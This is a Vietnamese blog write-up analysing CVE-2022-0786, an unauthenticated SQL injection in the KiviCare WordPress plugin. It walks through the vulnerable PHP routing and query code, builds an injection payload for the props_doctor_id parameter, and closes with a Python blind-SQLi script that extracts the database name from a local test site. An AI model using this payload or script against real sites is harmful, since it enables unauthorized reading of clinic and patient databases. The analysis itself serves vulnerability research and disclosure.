# [CVE-2022-0786] WordPress KiviCare < 2.3.9 Unauthenticated SQLi

KiviCare là một plugin quản lý phòng khám và bệnh nhân dành cho WordPress. Plugin này còn khá mới nên chưa phổ biến và lượng người dùng không nhiều (~1.000 lượt active).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1677085561643/a9fcab5e-9f03-49e3-9a5b-97941d3a4b03.jpeg align="center")

Hôm 23/5/2022 vừa rồi một researcher đã tìm thấy lỗ hổng Unauthenticated SQLi trong plugin này với điểm CVSS đạt 8.3

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1677085582895/19312bbb-e17c-4243-bcd4-6496c85416e1.png align="center")

# Phân tích lỗ hổng

Trang [wpscan](https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30) có nói rằng:

> The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax\_post AJAX action with the get\_doctor\_details route

Vậy là lỗ hổng nằm ở `get_doctor_details` route, tìm trong source code của plugin:

```php
'get_doctor_details'   => [ 'method' => 'get', 'action' => 'KCBookAppointmentWidgetController@getDoctors' , 'nonce' => 0 ],
```

Route này sẽ invoke function `getDoctors` tại `KCBookAppointmentWidgetController`, function này đầu tiên sẽ kiểm tra parameter `clinic_id`:

```php
public function getDoctors () {
    $request_data = $this->request->getInputs();
		...
    
    $request_data['clinic_id'] =  json_decode( stripslashes( sanitize_text_field($request_data['clinic_id'])), true);

    if(isset($request_data['clinic_id']['id'])  && !empty($request_data['clinic_id']['id']) ){
        ...
    }

    ...
}
```

→ Parameter `clinic_id` không cần phải có giá trị hợp lệ nhưng phải ở dạng JSON và phải có key id ví dụ như:

```php
clinic_id = {"id":"1"}
```

Sau khi `clinic_id` thỏa mãn điều kiện thì function này sẽ xử lý tiếp như sau:

```php
if(isset($request_data['clinic_id']['id'])  && !empty($request_data['clinic_id']['id']) ){

    $request_data['clinic_id']['id'] = (int)$request_data['clinic_id']['id'];
    $doctor_condition = ' ';
    
    if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0'])){
        if(strpos($request_data['props_doctor_id'], ',') !== false){
            if(isKiviCareProActive()){
                $doctor_condition = ' AND doctor_id IN ('.$request_data['props_doctor_id'].')';
            }else{
                $doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
            }
        }else{
            if(isKiviCareProActive()){
                $doctor_condition = ' AND doctor_id ='.(int)$request_data['props_doctor_id'];
            }else{
                $doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
            }
        }
    }
    
    if(!empty($request_data['props_clinic_id']) && !in_array($request_data['props_clinic_id'],[0,'0'])){
        $request_data['clinic_id']['id'] = (int)$request_data['props_clinic_id'];
    }

    if(isKiviCareProActive()){
        $query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
    }else{
        $query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
    }
    ...
}
```

Do đã biết trước là SQLi nên mình tập trung vào các câu truy vấn:

```php
if(isKiviCareProActive()){
    $query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
    $query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}
```

Điều kiện `isKiviCareProActive()` chắc chắn trả về false vì mình đang cài bản free 😬 Vì thế nên chỉ cần để ý câu truy vấn ở dưới, `$doctor_condition` có thể là Injection point.

Truy ngược lên trên, bỏ qua các nhánh `if(isKiviCareProActive())`, mình thấy `$doctor_condition` được gán giá trị bởi 1 trong 2 cách:

```php
if(strpos($request_data['props_doctor_id'], ',') !== false){
                    
    $doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
                
}else{

    $doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
                    
}
```

Cả 2 cách này đều dùng cộng string, tuy nhiên cách thứ 2 sử dụng ép kiểu int nên để khai thác được thì phải đi vào nhánh đúng của `if`. Để vào nhánh này thì cần thỏa mãn `strpos($request_data['props_doctor_id'], ',') !== false`, điều này có nghĩa là giá trị của `props_doctor_id` cần phải chứa dấu `,`

Xử lý xong câu `if` này thì mình tiếp tục đi lên trên, câu `if` ở trên không có gì đặc biệt:

```php
if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0']))
```

Đến giờ thì đã có đầy đủ thông tin để xây dựng payload:

* ***Reproduce vulnerable endpoint***: Dựa vào thông tin lỗ hổng nằm ở `get_doctor_details` route nên mình có thể reproduce vulnerable endpoint bằng cách gửi GET request đến `/wp-admin/admin-ajax.php` với `action=ajax_get` và `route_name=get_doctor_details`
    
* ***Payload***
    
    * Đầu tiên cần có `clinic_id` thỏa mãn điều kiện nêu ở trên như: `clinic_id={”id”:”1”}`
        
    * Sau đó `props_doctor_id` sẽ chứa payload thỏa mãn điều kiện duy nhất là có chứa dấu `,`: `props_doctor_id=1,2)+OR+1=1--+-`
        
        Lúc này câu truy vấn sẽ trở thành:
        

```sql
SELECT `ID` FROM users WHERE ID IN (1,2) OR 1=1 -- -)
```

## Proof-of-Concept

Sample request/response (với điều kiện đúng):

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1677085628531/350ee8a4-1326-4e50-bc74-4017ec096fe8.png align="center")

Sample request/response (với điều kiện sai):

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1677085645046/b39aeef7-051b-4e05-b165-cc6d26106f3e.png align="center")

Exploit code:

```python
import requests

db_name = ""

for i in range(1, 10):
    for j in range(65, 113):
        payload = f"1,2)+OR+SUBSTRING(database(),{i},1)=CHAR({j})--+-"
        url = "http://localhost:80/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id={\"id\":\"1\",\"label\":\"SAS\"}&props_doctor_id="

        r = requests.get(url + payload)

        if "true" in r.text:
            db_name += chr(j)
            print(f"DB_NAME: {db_name}")
            break
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1677085694086/81b0d813-c52d-41db-b1bf-e53c8e77e07d.png align="center")
